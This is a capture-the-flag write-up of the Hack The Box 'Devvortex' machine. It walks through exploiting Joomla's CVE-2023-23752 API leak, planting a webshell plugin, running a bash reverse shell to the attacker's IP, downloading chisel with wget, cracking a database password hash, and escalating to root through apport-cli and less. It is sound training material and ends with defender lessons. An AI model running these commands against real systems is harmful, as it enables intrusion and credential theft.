Devvortex

INTRODUCTION

Currently, Devvortex is still active and worth some points. The box revolves around a fictional web development company, and their landing page. A small amount of enumeration and a check for CVEs leads directly to an easy foothold. From there, good fundamentals will allow you to achieve the User flag with ease, then the root flag with even greater ease!

This box is perfect for anyone looking to get started in HTB, or someone (like me) who wants to renew their skills after a long hiatus. The biggest danger on this box is to accidentally over-think it 😉

title picture

RECON

nmap scans

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
Host is up (0.075s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/27%OT=22%CT=1%CU=33394%PV=Y%DS=2%DC=I%G=Y%TM=65B4
OS:F143%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

☝️ UDP scans take quite a bit longer, so I limit it to only common ports

All 100 scanned ports on devvortex.htb (10.10.11.242) are in ignored states.
Not shown: 74 closed udp ports (port-unreach), 26 open|filtered udp ports (no-response)

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Webserver Strategy

Noting the redirect from the nmap scan, I added download.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=devvortex.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb $RADDR && curl -IL http://$RADDR

OK, so it’s running nginx 1.18.0. It’s all pretty typical.

Next I performed vhost enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No results from the vhost scan (devvortex is not in the wordlist - no surprise there). Now I’ll check for subdomains of http://devvortex.htb:

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/subdomain-$DOMAIN.md -of md -timeout 4 -ic -ac -v

./subdomain.png

Ok, so dev.devvortex.htb exists. That’s notable! I’ll add it to my /etc/hosts file:

echo "$RADDR dev.$DOMAIN" | sudo tee -a /etc/hosts

So far, I know about devvortex.htb and dev.devvortex.htb. I’ll do directory enumeration over those two next. First up, devvortex.htb:

🤔 To be honest, I still don’t have a favourite directory enumeration tool:

Often, I favor ffuf for directory enumeration, for its extensive options. Other times, I like the simplicity of gobuster. And if I want to enumerate very deeply, I’ll use feroxbuster.

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt" 
OUTPUT="fuzzing/directory"

# This is what I often use:
# ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o "$OUTPUT.json" -of json -e php,asp,js,html -timeout 4 -v

gobuster dir -w $WLIST -u http://$DOMAIN \
--random-agent -t 10 --timeout 5s -f -e \
--status-codes-blacklist 400,401,402,403,404,405 \
--output "$OUTPUT-$DOMAIN.txt" \
--no-error

Directory enumeration against http://devvortex.htb/ gave the following:

directory enum 1

Next, I’ll do directory enumeration on the subdomain, dev.devvortex.htb:

gobuster dir -w $WLIST -u http://dev.$DOMAIN \
--random-agent -t 10 --timeout 5s -f -e \
--status-codes-blacklist 400,401,402,403,404,405 \
--output "$OUTPUT-dev.$DOMAIN.txt" \
--no-error

Directory enumeration against http://dev.devvortex.htb/ gave the following:

directory enum 2

Very interesting! Two things that stand out right away are:

  • the /administrator page. I should check this out right away.
  • the 406 status of /api. That’s a bit of an odd status. Perhaps I was just using the wrong HTTP verb? Just like I did in Gopher, I’ll try looping through the HTTP verbs

Navigating to the /administrator page immediately reveals the CMS that is used for this website, Joomla!:

admin page

for T in `echo "GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH" | sed 's/,//g'`; do echo "\n\nTrying $T\n"; curl -X $T --max-time 3 http://dev.devvortex.htb/api; done

GET and POST each resulted in a 301 Moved Permanently status. The rest were all 405 Not Allowed. So I think it’s safe to say the API is listening for only GET and POST. I’ll try the same url but with a trailing slash this time:

for T in `echo "GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH" | sed 's/,//g'`; do echo "\n\nTrying $T\n"; curl -X $T --max-time 3 http://dev.devvortex.htb/api/; done
Trying GET
{"errors":[{"title":"Resource not found","code":404}]}

Trying POST
{"errors":[{"title":"Resource not found","code":404}]}

Cool, it sent back a JSON response. Maybe there’s something there? I’ll try a bit more specific of a search using ffuf:

ffuf -w $WLIST:FUZZ -u http://dev.$DOMAIN/api/FUZZ -t 80 --recursion --recursion-depth 2 -c -o "$OUTPUT-dev.$DOMAIN-api.json" -of json -e php,asp,js,html -timeout 4 -v -fc 403

enumerating_api

Progress on this enumeration had slowed to a crawl, so I decided to change directions: which version of Joomla am I looking at? If I knew what version of Joomla CMS this site was using, I’d have a pretty good idea of some “expected” / “positive” results to check out while enumerating the API.

Fingerprinting Joomla

My first (and most obvious step) to attempt to fingerprint the Joomla version was to check the page header and footer for any details. Nope, nothing written there. Next easy step is to check Wappalyzer, which I use as a browser extension. It detected that Joomla is the CMS, but did not specify the version it was running:

wappalyzer joomla

Then I tried running whatweb against the dev.devvortex.htb/administrator page:

whatweb joomla

Again, it indicates Joomla is being used, but not what version it’s running. Hmm… Maybe someone has made a tool for doing this? A cursory search on Github revealed a tool called CMSeek that claims to do exactly what I need. I grabbed set up a python venv, grabbed the code ( and installed requirements), then ran it:

python3 CMSeeK/cmseek.py -u dev.devvortex.htb

cmseek joomla

Bingo! It looks like the site is running Joomla version 4.2.6. I’ll toss that into searchsploit and see if anything obvious appears.

While searchsploit joomla 4.2.6 yielded no results, a more general search did have some results:

searchsploit joomla

A couple of these look like they might be usable.

CVE-2023-23742

I’m most interested in trying the exploit listed at the bottom, with ID 51334. searchsploit -x 51334 shows the ruby source code for this exploit. This is an exploit submitted for CVE-2023-23752. A quick read through the source code reveals that it is meant to pull specific data out of the API! Nice! 😉 All of them work by forming a specific request to the API in this form:

{root_url}/api/index.php/v1/{information_to_grab}/application?public=true

where {information_to_grab} could be config or users.

curl -v http://dev.devvortex.htb/api/index.php/v1/config/application?public=true

information disclosure

😂 Oh wow - there’s a credential sitting right there! Fingers crossed it’s still valid. Also in this config dump, there is a little bit of information about the CMS’s database. Could be useful.

  • lewis : P4ntherg0t1n5r3c0n##

I’ll also check for a list of users:

curl -v http://dev.devvortex.htb/api/index.php/v1/users?public=true

joomla users

Wonderful - Not only does this support the guess that lewis is a valid user, this gives some other info about them (such as their group membership in Super Users, and shows that there is another user, logan (for whom we don’t have a password)

FOOTHOLD

Administrator Dashboard

So what are we waiting for? Let’s try logging in as lewis!

admin dashboard as lewis

👍 Perfect - lewis has access to the /administrator dashboard. Unfortunately, the same credentials do not work for an SSH login.

It doesn’t look like there is any way to directly open up some kind of terminal on the server using Joomla - that would be a bit easy. However, I do see a way to upload Extensions for the website. The way I see it, there are at least two likely paths forward:

  • Perhaps I could write or find a malicious extension and load it onto the site? This is running with PHP; maybe there is a way to upload a webshell for it?
  • Maybe I can use the administrator dashboard to downgrade the security on the site, making upload of an existing webshell more viable?

The first option seems more direct, so I’ll investigate adding some kind of webshell extension into the site.

Personally, I don’t have any experience writing extensions for Joomla, so I did some searching to see if someone has accomplished this already. Of course, somebody has already made (seemingly) the perfect tool for the job: joomla-webshell-plugin by p0dalirius. The author even kindly provided a link to an official guide by Joomla on how to write modules.

Cloned the repo and installed it onto the website from the Joomla administrator dashboard: System > Install - Extensions > Upload Package File then choosing the file dist/joomla-webshell-plugin-1.1.0.zip. Joomla indicated the extension installed successfully, so I tried it out:

curl -X POST 'http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php' --data "action=exec&cmd=id"
{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","stderr":"","exec":"id"}

😎 Excellent! We have RCE. Let’s try to turn this webshell into a reverse shell.

# Open a firewall port
sudo ufw allow from $RADDR to any port 4444 proto tcp
# Start the listener
socat -d TCP-LISTEN:4444 STDOUT

Then, using the webshell I’ll attempt to get the target to connect to my socat listener. I’m using the console.py utility included in joomla-webshell-plugin:

webshell to revshell

☝️ The above is a base-64 encoded version of a simple bash shell: bash -i >& /dev/tcp/10.10.14.6/4444 0>&1 . If I were to use curl instead of console.py, I’d probably have made a request using a URL-encoded bash shell instead.

After a couple seconds, the target successfully connected back to my socat listener:

reverse shell

USER FLAG

www-data

First things first, let’s do some simple enumeration of the system. What notable users exist?

id && cat /etc/passwd | grep -v nologin | grep -v /bin/false
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
logan:x:1000:1000:,,,:/home/logan:/bin/bash

Aha, there’s the significance of “logan”; lewis is the website administrator but logan is the human user on the server.

# Find where www-data has write permissions
find / -user $USER 2>/dev/null  | grep -v '^\(/sys\|/proc\|/run\)'

Output is omitted for clarity, but the gist is that www-data has write permissions to /var/www/devvortex.htb, /var/www/dev.devvortex.htb, and /etc/nginx. What about notable software?

which nc netcat socat curl wget python python3 perl php tmux

Turns out the box has all of the above except for socat.

What listening services are running?

netstat -tulpn | grep LISTEN

listening services

We already knew about SSH and HTTP from the initial nmap scans, but now we also know DNS and MySQL are listening. Is cron running anything notable?

crontab -l ; cat /etc/crontab ; ls -laR /etc/cron

No, nothing interesting there. Let’s take a quick look for SUID/SGID executables, and for files with extra capabilities:

find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \; 2>/dev/null | grep -v '/proc'; getcap -r / 2>/dev/null

Also nothing out of the ordinary in there. Let’s also check to see if the credential for logan is sitting around somewhere obvious:

find / -maxdepth 2 -type f ! -path '/proc/*' ! -path '/dev/*' -exec grep "logan" {} +

Nope! In the absence of any other leads, I’ll take a look at the MySQL database.

MySQL

Using MySQL is trivial when you already have a robust terminal like SSH. But right now, all I have is this simple reverse shell, with no interactive terminal capabilities. As a result, I can’t do things like open files in a pager, or connect to the database

single one-liner queries would work, but are a little tedious to use.

To get around this limitation, I’ll open up a socks5 proxy from the target machine. For this, I’ll use chisel. But first, I need to get chisel onto the target. I’ll stand up a python http server from my attacker machine to host my standard toolbox, which contains chisel:

# Open up a firewall port for the http server and for chisel server
sudo ufw allow from $RADDR to any port 4444,8000,9999 proto tcp
cd ~/MyToolbox
# Run chisel and background it (or just use another terminal window/tab)
./chisel server --port 9999 --reverse --key MyS3cr3tK3y & 
# Start the webserver to serve the Toolbox to the target
python3 -m http.server 8000

☝️ Note: I already have proxychains installed on my attacker machine, and my /etc/proxychains.conf file ends with:

...
socks5  127.0.0.1 1080
#socks4 127.0.0.1 9050

Then, on the target box:

# Set up a hidden directory in tmp to download tools to
mkdir -p /tmp/.Tools
cd /tmp/.Tools
# Download each tool that might be useful, such as chisel
wget http://10.10.14.3:8000/chisel && chmod 755 chisel
# Form the proxy connection and background it
./chisel client 10.10.14.3:9999 R:1080:socks & 

Back on my attacker box, I like to test the proxy connection by doing a banner-grab of the python webserver hosting my toolbox. By doing this, we’ve tested the whole round-trip connection (attacker -> target -> attacker):

proxychains whatweb http://10.10.14.3:8000

socks5 proxy

Success! Now to move on to the actual task - checking out the MySQL database. I’ll connect from my attacker box via the proxy:

# First, try anonymous
proxychains mysql -h localhost # nope
# Next, try root/root
proxychains mysql -h localhost -u root -p # also nope

failed to connect mysql

Hmm, looks like there might be a password on the database. I checked env and there was not a password for the database connection in plain sight. Since it’s not an environment variable, there’s a good chance a password is sitting in one of the config files for the server. Actually, /var/www/dev.devvortex.htb/configuration.php looks quite promising:

configuration.php

Yep! There it is. I feel a little stupid, not having tried the obvious: lewis / P4ntherg0t1n5r3c0n## I think this config file is the very same one that I leaked earlier using the CVE. Woops! 😅

failed to connect mysql 2

Wait, what? It still won’t authenticate? I’m reasonably sure that is the correct credential.

mysql success

Ah, I see. Looks like it didn’t accept localhost but 127.0.0.1 is fine 🙃

Take a quick look at the database and see what might be usable:

show databases; # we're expecting 'joomla', which indeed is present
use joomla;
show tables; # look for a users table
describe sd4fg_users;

mysql users table

Now query that table and see what the passwords are:

mysql users table 2

Excellent, we already have lewis’s password, but now we also have the password hash for logan:

  • $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12

Also, we already know that this is hashed and salted using blowfish, but just for good measure I’ll run it through name-that-hash and see what it says.

name that hash

Now I just need to attempt to crack that hash to recover logan’s password. I put the hash into a text file in the expected format and attempt to crack it using john:

cracked password

Super! We now have one more credential to try.

  • logan : tequieromucho

And since logan is a user (with a login) on the target machine, there’s a solid chance that we can log in using SSH now

ssh success

🔥 Success! Now just cat ~/user.txt for the points.

ROOT FLAG

Finding the PE Vector

There’s one thing I like to check as soon as I’m logged onto a linux box as an low-privileged user for the first time, especially on Easy boxes:

# What can this user run as sudo?
sudo -l

In my experience, at least on Easy boxes, this leads directly to privilege escalation. This was the result when running it as logan:

list sudo

☝️ This is also a useful check to perform for a very easy privesc method: path abuse.

Alright, so logan is able to sudo /usr/bin/apport-cli. If you use Ubuntu often, you’ll immediately recognize the name Apport: it is the utility that reports crashes when they occur, usually to aid developers in fixing bugs. Perhaps you’ve seen a window like this:

apport

This system has a console-only interface too, apport-cli. It wasn’t immediately obvious to me how apport-cli could be used to gain root, so I did a quick search for “apport-cli privilege escalation” and was presented with a whole slew of articles all pointing towards one vulnerability: CVE-2023-1326.

When a program crashes, Apport may detect the crash and place a .crash file into /var/crash. By using apport-cli you have the ability to review and submit these .crash files manually by using the -c option. But how does it open the crash report for review? Like many other CLI programs, it simply invokes the default pager, most commonly less.

💻 Savvy readers will already see where I’m going with this. This is a surprisingly common privilege escalation on Easy boxes. In fact, I already wrote about it in my walkthrough for Sau. Also, there’s a succinct description of it as the very first entry of this GTFObins page.

When the terminal window is too small to display the full contents of a document, less opens the content in a scrollable pane. And at the bottom of the screen, there is a “convenience” feature that allows the user to issue shell commands. The trick here is simple:

  1. Shrink your terminal window to a size that is too small to display the entire contents of a file.
  2. Open the file using less, as a privileged process
  3. Spawn a root shell by typing :!/bin/bash in the command line at the bottom of the less pane.

Forging a Crash Report

We already know that there should be a .crash file in /var/crash to open it in apport-cli. Thankfully, this directory is writable by logan! Naturally, I’ll try the easiest thing first - creating a bogus crash report then reading it:

# make a fake crash report
echo "something happened" > /var/crash/test.crash
# attempt to review the report to open it
sudo /usr/bin/apport-cli -c /var/crash/rest.crash

crash report 1

Hmm, ok. But how can I easily create a “valid” problem report? My first reaction was to simply write a program that will crash, thereby causing apport to drop a .crash file into /var/crash. With a little coaxing, I got ChatGPT to spit out some relevant code:

import signal

def crash_demo(signum, frame):
    raise Exception("Simulated crash")

signal.signal(signal.SIGSEGV, crash_demo)
raise Exception("This is a deliberate crash for demonstration purposes.")

The program crashed, but unfortunately did not place a .crash file in /var/crash. What about using C instead?

#include <stdio.h>

int main() {
    int *ptr = NULL;
    *ptr = 42;  // Intentionally segfault
    return 0;
}

After compiling that with gcc -o crashme crashme.c, I tried running it. Same result: no .crash file appeared.

The next stop was to do a little research about the format of a “valid” crash report. The answer to a question posed on StackOverflow pointed me in the right direction.

  • I should use colon-separated key-value pairs in the crash report.
  • Two fields to start with are Package and ExecutablePath.

I created a file /var/crash/crashme.crash with the following contents:

Package: Python3.8.10
ExecutablePath: /usr/bin/python3

Then tried again to open the file:

crash report 2

A different error this time! That’s good news. It looks like it’s just missing the “ProblemType” field. Also, I should add a bunch of junk information inside the report so that the contents are necessarily larger than the less window displaying the report. These are the updated contents:

Package: Python3.8.10
ExecutablePath: /usr/bin/python3
ProblemType: deathloop
Symptom: a bunch of stuff happened and then I don't know what else could have happened! Then I couldn't open my email. Then I got stuck in this loop! [...repeated 100 times...] Then I got stuck in this loop!

Then attempt again to open up the crash report:

crash report 3

Wonderful! Looks like it accepted the format of my bogus crash report. Select V to view the report (and shrink down the terminal window, just in case). Just as I had hoped, there is a line at the bottom that can be used to execute shell commands:

crash report 4

This opens up a new bash process running as root:

root shell

Not too bad! Now I can simply cat out the flag for the remainder of the box’s points 🍰

LESSONS LEARNED

two crossed swords

Attacker

  • Check for CVEs early and often. As soon as you fingerprint the target (or identify the version of an application that might be a PE vector), do a very quick search online and see if any CVEs apply. Often enough, this will point you in the right direction and prevent you from re-inventing the wheel. If you’re lucky, there will even be some PoC code, saving even more time.

  • Credential re-use always comes first: When trying to access the MySQL database, I neglected to check credential re-use as the very first thing. Instead, I got myself off on a bit of a tangent trying to obtain the Joomla configuration files that would contain the database credentials. No harm done; just a little time wasted.

  • Don’t try to outsmart an easy box. Even though it turned out that I should have checked for credential re-use, I wasted a little time trying to find the database credentials by using a recursive grep of all the server’s files. It took me a few minutes before I realized configuration.php was sitting right in front of me. To add salt to the wound, I had completely forgot that I already leaked that file by using CVE-2023-23742 🤦‍♂️

two crossed swords

Defender

  • Whenever possible, automatic update. I get it: website administrators can sometimes be overworked and under-resourced. There is no way that they can also be staying on top of the latest threat intelligence. Thankfully, this task can be somewhat crowdsourced by simply setting up automatic updates of the server. Ideally, within a day or two of CVE-2023-23742 appearing, the Joomla CMS should have been updated.

  • Avoid credential re-use. There is no good reason to justify why lewis re-used their credential for the database. It’s just sloppy and lazy, making the attacker’s job substantially easier.

  • Least-privilege: still relevant! It’s a good start that logan didn’t have full root access to the machine, but even by granting root sudo rights to apport-cli, an obvious privilege escalation opportunity was created. Why not just set up the root user with a separate password? That way, programs like apport-cli can’t be abused so trivially.

  • Password rules can sometimes be good. While the world is moving away from using passwords for everything, they won’t completely disappear for a long time: passwords can be very convenient in some cases. So, why not tighten security a little bit by using some password rules? In this box, logan’s password was a concatenation of two spanish words. Perhaps this should have violated a password composition policy?


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake